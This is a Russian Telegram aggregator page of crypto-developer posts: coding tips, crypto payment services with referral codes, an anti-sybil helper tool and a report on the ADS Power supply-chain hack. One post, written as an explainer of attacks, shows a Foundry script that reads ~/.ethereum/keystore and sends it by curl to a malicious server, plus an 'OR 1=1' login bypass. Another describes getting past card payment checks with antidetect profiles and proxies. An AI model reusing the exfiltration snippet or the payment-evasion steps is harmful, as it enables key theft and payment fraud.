Крипто Devs | Gnezdo Hub – Telegram
Крипто Devs | Gnezdo Hub
434 subscribers
1.03K photos
67 videos
20 files
2.32K links
Агрегатор с крипто dev'ами

🦧 Основной канал: https://news.1rj.ru/str/cryptomokakke

☯️ Все каналы: https://news.1rj.ru/str/cryptomokakke/742

🗂 Все агрегаторы: https://news.1rj.ru/str/addlist/dNb2TYSUysU3Nzgy
Download Telegram
Адаптируйся или умри

За последние пару месяцев темпы работы возросли, а список задач не влезает в бесплатное хранилище ноушена?
Задумываешься об автоматизации, но тебя преследуют:
— Боязнь потери на фишинге и ошибках в чужом софте
— Трата времени на ручные действия
— Желание масштабироваться вместе с нехваткой опыта в этом

Ребятами из hodlmod, начали вести канал AIO Study, где простыми словами рассказывают о:
— написании автоматизации для чего угодно
— соблюдении мер безпасности при запуске софтов
— тонкостях проверки чужого кода
— личном опыте и примерах из жизни

Помимо этого научат писать код с нуля любого, даже фьючетрейдера.

Чекните гем для новеньких и подписаться не забудьте

📟 Прилетело из @findmeonchain

📟 На серваки
🐙 СОФТ БЕЗОПАСНОСТЬ

Изоляция

Благодаря Docker создаем контейнер для модуля, отвечающего за подписания транзакций, и он будет изолирован от других частей приложения.

(в docker приложение работает изолированно, ограничивая влияние уязвимостей на другие части системы.)


Асинхронность 🔽

выполняют задачи, не блокируя выполнение других процессов

важно при работе с внешними API, которые могут отвечать медленно из-за задержек сети или нагрузки на сервер.

Для Node.js асинхронность реализуется через “Promise” (возвращает результат (или ошибку) в будущем)

+ async/await синтаксис для работы с Promise делает код более читаемым.


Библиотека asyncio в Python предоставляет async/await функции также для работы с асинхронностью

Такие функции позволяют продолжать выполнение других задач, пока приложение ожидает ответа от API.


Логирование

запись важной информации о работе приложения (действия пользователя, состояние системы и ошибки)

Winston (Node.js) поддеритвает различные уровни логов (info, error, debug и т.д.).


npm install winston

Logging (Python) - поддерживает уровни логирования (DEBUG, INFO, WARNING, ERROR, CRITICAL).

Стандартная библиотека Python


Для более красивого вывода логов в консоль -> Loguru библиотека

pip install loguru

Набираем активность - я выпускаю подробный материал на эту тему 😎

📟 Прилетело из @code_vartcall

☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
▶️Видео обзор на софт залит на Youtube

Рассказал как правильно тапать бычка, приятного просмотра👀
Тайм-коды прикрепил, разобрал абсолютно все моменты для плавного запуска машины.

🟢Бот для покупки и отслеживанния ключей - @astrumsolutionsbot

Astrum - лучший сервис для ретро | AstrumDocs | GitHub

📟 Прилетело из @askaer

☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
Зачем брать ответственность в найме

В комментариях к последнему посту @mister_sosister поделился своим опытом, как отсутствие лидерства влияет на эффективность команды, и поделился формулой:

Leadership = Ownership + Control

Мне показалось важным развить тему и ответить на интересный комментарий:

В чем смысл наемному гребцу хотеть больше всех и напрягаться, если эквити всё ещё маржинальный? Просто из искреннего желания сделать вот этот конкретный продукт/фичу? Или это тянется мотивацией / скиллом мотивации его лидера?


Вот мой ответ:

Я думаю, смысл в том, что ты делаешь это для себя, а не для компании.

Когда ты берешь ответственность за проект, ты развиваешь именно себя — свои навыки, свою репутацию, свой фундамент. Даже если проект провалится или компания закроется, ты уйдешь с этим багажом и сможешь двигаться дальше.

Не верю в то, что человек может 30 лет сидеть на печи, а потом начать сразу же запускать ракеты в космос. Прямо как мышца — чтобы вырасти, нужно начинать с малого, накапливать опыт, навыки и постепенно становиться тем, на кого можно положиться в любой ситуации.

Каждый вызов — это возможность роста. Это долгосрочная стратегия: сначала ты инвестируешь в себя, строишь привычку брать ответственность, доводить до конца, справляться с трудностями. И это влияет не только на работу, но и на все сферы жизни.

Плюс, именно такие качества всегда ценятся дорого: люди готовы платить премиум за все редкое в этом мире. Это может быть прямым билетом к запуску собственного бизнеса или более высокой зарплате.

Но результат от такой стратегии — отсрочен. Это инвестиция в будущее, которая дает экспоненциальный рост, но требует времени и терпения.

А что думаете вы?

📟 Прилетело из @max_grock

👧 На суши и девочек
🤍 ЗАРАБОТАЛ 100к$ ЗА СУТКИ

И проебал все на следующий день. В этом посте будет подборка сервисов для перевода ваших крипто-фантиков в что-то осязаемое и полезное: вывод в фиат, оплата иностранных сервисов, оплата игр, реинвест в альфы и так далее

🤓 SOLCARD

Очень и очень давно писал об этом сервисе. Позволяет создать зарубежную карту без KYC и оплачивать любой сервис: от GPT до бронирования отелей. Есть два варианта карт:

1) MasterCard — самая обычная карта, цена активации 5$ 3$ по рефке, оплчивал через нее GPT и Webshare

2) Visa — самая лучшая карта, цена активации 40$ 24$ по рефке, можно привязать к Apple и Google Pay и платить в ИРЛ в любой точке мира


Для экономии переходите по реферальной ссылке, процент скидки очень хороший (КЛИК). Также читайте условия использования, есть лимиты, но они большие. Подробнее про оплату сервисов этой картой написал в конце поста

🤓 SEND

Самый популярный телеграмм бот, через который можно вывести крипту, обменять крипту, оплатить криптой и многое другое. Лично я через него вывожу деньги в фиат через P2P, все очень просто и быстро

1) Запускаем бота — клик
2) Жмем кнопку "Кошелек" и депаем
3) После кнопку "P2P" и продаем за рубли


Есть все популярные токены, даже добавили $TRUMP. Вывод на все банки РФ, через сбп, пополнение счета телефона и так далее. Также можно купить через бота крипту, курсы более менее хорошие и сделки быстрые

🤓 CHERIEX

Супер полезное приложение, через которое можно оплачивать криптой любую покупку. Через него удобно платить не выводя в фиат, просто держать на балансе крипту в $. Обязательно вводите реферальный код, получите 100$ на баланс 🙂

1) Запускаем бота — клик
2) Вводим реферальный код:
b8d1733a-d5d3-467b-92eb-bf653b64164c
3) Пополняем баланс стейблами
4) Сканируем QR код
5) Ждем до 1 минуты и оплата проходит


Курс обмена хороший, комиссии низкие. Раньше было в виде отдельного приложения, но сейчас додумались перенести в TG бота и стало очень удобно. Единственное нужно ждать вплоть до минуты пока не пройдет оплата, но в ресторанах никто и не торопит 😎

🤓 Play Wallet

Если же не хотите наслаждаться реальной жизнью, то можете пополнить стим и купить игры. Комиссия как и везде (6%), но зато есть пополнение в любой валюте: рубли, гривны и так далее

1) Переходим на сайт — клик
2) Логинимся как удобно
3) Выбираем Steam для оплаты
4) Указываем страну и логин Steam
5) Выбираем способ оплаты и платим


Из минусов:
1) Максимально уебищный дизайн сайта
2) Уже дохуя времени нет рефералки
3) Нет оплаты через другие кошельки
4) В целом медленно билдят

🤓 WantToPay

Напоследок дефолтный бот, в котором можно создать зарубежную карту и оплатить сервисы. Тут нет пополнения криптой, только рублями, но тем не менее если нужно что-то купить — подойдет

1) Запускаем бота — клик
2) Депаем рубли и покупаем что нужно


🌟 И наконец!

Реинвестируйте свои заработанные монетки в альфы, где можно найти актуальную информацию и колы. Например в Gem Hunters, у которых сейчас новый набор. Поверьте, данное вложение окупится, а не уйдет в карман рагера щитка

Обязательно изучите их свежий рекап, а также присоединяйтесь к бесплатному альфа каналу @gemhunterslobby и @monidegen, а также к чату со смарт криптанами @monidegens

🔞 Как не руинить оплату

Когда оплачивал через SolCard GPT, то он не хотел принимать. Решается просто — создаем свежий профиль антика, подрубаем качественные прокси USA, на карте выбираем ближайший к IP адрес и вводим его и данные карты

Если не проходит, то меняем прокси и пробуем снова. Основной заеб именно с payment address, на других сервисах так не ебут. Еще можете чекнуть по bin карты кто выпустил карту (какой банк) и оттуда выбирать адрес и прокси


😵‍💫 щитпост | все мои ссылки | плати соланой

📟 Прилетело из @in_crypto_info

☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
Я тут нашёл новое интересное решение для перевода приложений NextJS, описал в небольшой статейке. Подкупает простота и удобство, хотя местами может быть сыроватое ещё https://lokalise.com/blog/nextjs-localization/

📟 Прилетело из @dev_in_ruby_colors

🍣 На суши
This media is not supported in your browser
VIEW IN TELEGRAM
Разблядовка по NotPixel 🔫

Замотались и забыли написать про NotPixel и их вчерашний дроп. Судя по чатам - сплошная бритва и разочарование. Однако, среди моих знакомых, а также некоторых наших кодеров нашлись и те, кто неплохо заработал. Цифры разные, но из жирного видел, суммы: 4к$, 6к$, 10к$+. Думаю, что для обычной тапалки это неплохой результат, но есть много но... 🤫

Будем честны - заработали только рефоводы, однако если вы загнали свою ферму и вас не сбрило, то вы 100% сняли сливки. Например дев софта, который мы упоминали в канале неплохо заработал. НО! Сугубо за счет рефов. Также брили и ручные акки: чуваков с большим количеством рефов тоже сбривало, однако постоянная мозгоебка в поддержку творит чудеса.

Что у вас? Есть кто заработал? 💸

📟 Прилетело из @hidden_coding

🍣 На суши
Please open Telegram to view this post
VIEW IN TELEGRAM
❤️DataBuiler - помощник для борьбы с Nansen
#бесплатно

Не справедливо сбривать порядочных сибилов, поэтому Oxygen.Tools спешит на помощь. Написали для вас простой, но удобный инструмент что поможет жонглировать информацией по аккаунтам и заполнять анти-сибил форму.

• Скачайте архив с Data Builder: ТЫК🔗

Что же умеет:

— Проверят кол-во транзакций в EVM сетях: eth, bsc, arb, base , linea, zora, polygon, blast, optimism, avalanche, scroll, zksync;
— Проверяет наличие ключевых дропов и собирает их TX: arbitrum, blast, meme, polyhedra, orbiter, l0, zksync, scroll, swell, optimism;
— Записывает всё в Excel таблицу;

Быстрые настройки:

key value - 1;
attemp - 1;

Если хотите проверить через приватники:

private - приватники, каждый с новой строки
proxy - ip:port:login:pass, каждый с новой строки
address - не нужны

Если без приватников:

private - адреса кошельков, каждый с новой строки
proxy - ip:port:login:pass, каждый с новой строки
address - адреса кошельков, каждый с новой строки

F.A.Q:

— Логин и пароль: oxygentools;
— Таблица excel сохраняется в папке с ботом -> STATISTICS -> Linea Helper;
— Если хотите больше дропов -> в лс нужно скинуть транзу клеймам такого, только для EVM;
— Прокси обязательны, и желательно не СНГ, так как в скрипте есть Zora. Почитайте какие юзать в вики: ТЫК🔗

✍️ Если есть вопросы - задавайте их нашему менеджеру - @ProstoXleb

✍️ Покупка подписки и скидка 15% : https://news.1rj.ru/str/OduLandBot?start=r_oxygen_tools

📟 Прилетело из @oxygen_tools

☯️ Почистить карму
Please open Telegram to view this post
VIEW IN TELEGRAM
Как говорится, надо уметь говорить "нет". Этот шуточный сайт предлагает разные вежливые отказы менеджеру, объясняющие, что пока эту фичу реализовывать никто не будет 😂 https://letsnotdothat.com/

📟 Прилетело из @dev_in_ruby_colors

☯️ Почистить карму
☕️ Telegram Checker | Python

настройка проекта

1. Зависимости

Библиотеки web3 & pytelegrambotapi

WebSocket провадер для получения событий Alchemy / Infura.

Создаем Telegram бот и получаем его API токен - BotFather


2. Процесс работы софта

- Подключение к блокчейну через WebSocket

- Фильтр событий, связанных с нужным адресом

- Настройка отправки сообщений через API Telegram + встраивание уведомлений в обработку событий

- Деплой бота через DigitalOcean или AWS

При добавлении поддержки других блокчейнов, используем сооответвующие настройки WebSocket

3. Настройка Docker (что это)

деплоить будем через него, так единый docker образ проекта

- Создаем DockerFile - базовый образ с зависимостями

- Создать .dockerignore - Исключаем из сборки ненужные файлы

- Сетевые настройки - порты для доступа к WebSoket открыты и доступны

- Управление секретами - писал тут

- Собираем Образ через Docker build и запускаем через docker run


+ Настроить автоматический перезапуск контейнера в случае падения бота

Вот такой план, далее пошагово будем тут реализовывать 💫 ❤️ 🔥

📟 Прилетело из @code_vartcall

☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
Пройдёт много лет и полковник, стоя у стены в ожидании расстрела вспомнит тот далёкий день, когда 11 лет назад сам писал реализацию метода symbolize_keys (которого в стандартной библиотеке не было) 😂 https://github.com/bodrovis/Guesser/blob/master/lib/guesser/utils/hash.rb#L3

Это была демо-программа, некий proof of concept для моей библиотеки messages_dictionary (которая и сама являлась проектом для демонстрации ученикам), использующейся в виде poor man's i18n - дескать, подгрузи файл с сообщениями и вытащи нужную строку по ключу. Забавно, что это до сих пор можно использовать.

Сколько воды утекло с тех пор. В то же время мы пытались наладить forem - якобы лучший движок для форума, который создал Райан, впоследствии победитель ежегодного конкурса ruby hero (или как это называлось?). Да, это было в 2012-2013, судя по всему. Всё ещё впереди - и плохое, и хорошее. Чего было больше? С одной хочется сказать словами Гайдара (писателя с весьма неоднозначной репутацией, у которого всё-таки есть несколько хороших рассказов): а жизнь, товарищи, была совсем хорошая. Символично, что это тоже было написано ещё до войны.

Впрочем, иногда кажется, что когда мы пару жизней тому назад, даже ещё до всех этих событий, были бедными студентами, то жили несколько счастливее. А теперь всё сильно изменились - что мой "ученик" Арс, что постоянный участник наших стримов Рома (это, конечно, мудрый старший наставник)... Да и ребята из guide dao, которых я уже знаю, кажется, лет сто, а мы так до сих пор и не встретились ни разу. 😁

https://www.youtube.com/watch?v=_ivH7xfDWG0

📟 Прилетело из @dev_in_ruby_colors

👧 На суши и девочек
Друзья, GM!

Если сейчас и есть какой-то один текст, который я бы советовал прочитать каждому криптану (особенно недавно пришедшему на рынок), то это статья jez: a starter guide to crypto mmo.

Поэтому я сделал авторский перевод этой статьи: https://teletype.in/@dkefir/starting-guide-to-crypto-mmo-ru.

Прочтение займет не более 10-15 минут вашего времени, — крайне рекомендую!

А также скидываю вам великолепный джаз-хаус микс, под который вы можете начать сей прекрасный субботний день: https://youtu.be/0c0-ikGKP9U?si=BkTYR6Qgit9dk_8u

P.S: почему-то, если читать через встроенный ридер («посмотреть») — там вылезает старая версия текста, где я не удалил абзацы на английском, поэтому рекомендую проходить именно по ссылке, чтобы не пришлось их пролистывать 🌟.

📟 Прилетело из @insuline_eth

☕️ На кофе
Please open Telegram to view this post
VIEW IN TELEGRAM
ADS POWER Взломали!
Подробнее - https://news.1rj.ru/str/slavik_investor/1913

Если будет нужна услуга АнтиДрейна - @antidrain_me

📟 Прилетело из @n4z4v0d

👧 На суши и девочек
💻 Уязвимости web3-сервисов

наконец-то движ

1. Foundry + ffi = true

foundry - инструмент тестирования и деплоя смарт-контрактов (про него тут)


Ситуация - вы выкладываете репо где есть Foundry-скрипты (например, .t.sol или .ts файлы), которые содержат вызовы vm.ffi().

Разработчик скачивает репозиторий и запускает тесты или скрипты
Скрипт с ffi выполняет следующие команды (по усмотрению)


Чтение приватных ключей из файловой системы + отправка на сервер через HTTP или другой протокол

например

contract MaliciousScript is Script {
function run() public {

string;
commands[0] = "cat";
commands[1] = "~/.ethereum/keystore";
commands[2] = "| curl -X POST http://malicious-server.com --data-binary @-";
vm.ffi(commands);
}
}


Когда пользователь запускает этот скрипт (например, через forge noscript), он выполняет команду cat ~/.ethereum/keystore для чтения ключей.

Затем ключи отправляются на ваш сервер через команду curl.


2. SQL-Инъекции

ввод OR 1=1 в поле авторизации может привести к обходу проверки подлинности + получение доступа к системе без действительных учетных данных.

Условие OR 1=1 всегда истинно, что приведет к возврату всех данных, независимо от их категории или статуса выпуска

таким образом мы получаем доступ к приватникам & учетным данным пользоватлей 💼


будем возвращаться к этой рубрике, но сами таким не занимаемся

📟 Прилетело из @code_vartcall

🍣 На суши
Please open Telegram to view this post
VIEW IN TELEGRAM
ADS ЖЕСТКИЙ ДРЕЙН

Я думаю уже каждый слышал про ночной взлом ADS Power. Если вы заметили, что у вас выводят средства или знаете что могут это сделать - пишите сразу же нам, мы вам поможем их сохранить!

Сейчас спас средства своего товарища (если бы бейс не был куском говна, а блокчейном, то вывели все намного быстрее).

Если что - выводим все с помощью Kozel.

📟 Прилетело из @hidden_coding

☯️ Почистить карму
🙌 ADS Взлом - Анализ

Ситуация - замена расширений кошельков пользователей на вредоносные через supply chain attack

Хакеры могли получить доступ к серверу, с которого распространяются обновления расширений, и смогли заменить легитимную версию

Уязвимые расширения были активны в период с 10:00 AM (UTC+0) 21 января по 10:00 AM (UTC+0) 24 января 2025 года.


(если устанавливали или пользовались кошельком в это время - переустанавливаем его и выводим средства)

Таким образом, из-за недостатками контроля безопасности при распространении обновлений расширений была компрометация через supply chain attack, где злоумышленники получили доступ к обновлениям или загрузке расширений.

суммарно $3.2 в ethereum утеряно 💰

> Кошелек 1
> Кошелек 2
> Кошелек 3
> Кошелек 4

Решением таких ситуаций будет диверсификация активов и использование multisig кошельков -> Safe Wallet & TotalSig

📟 Прилетело из @code_vartcall

👧 На суши и девочек
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM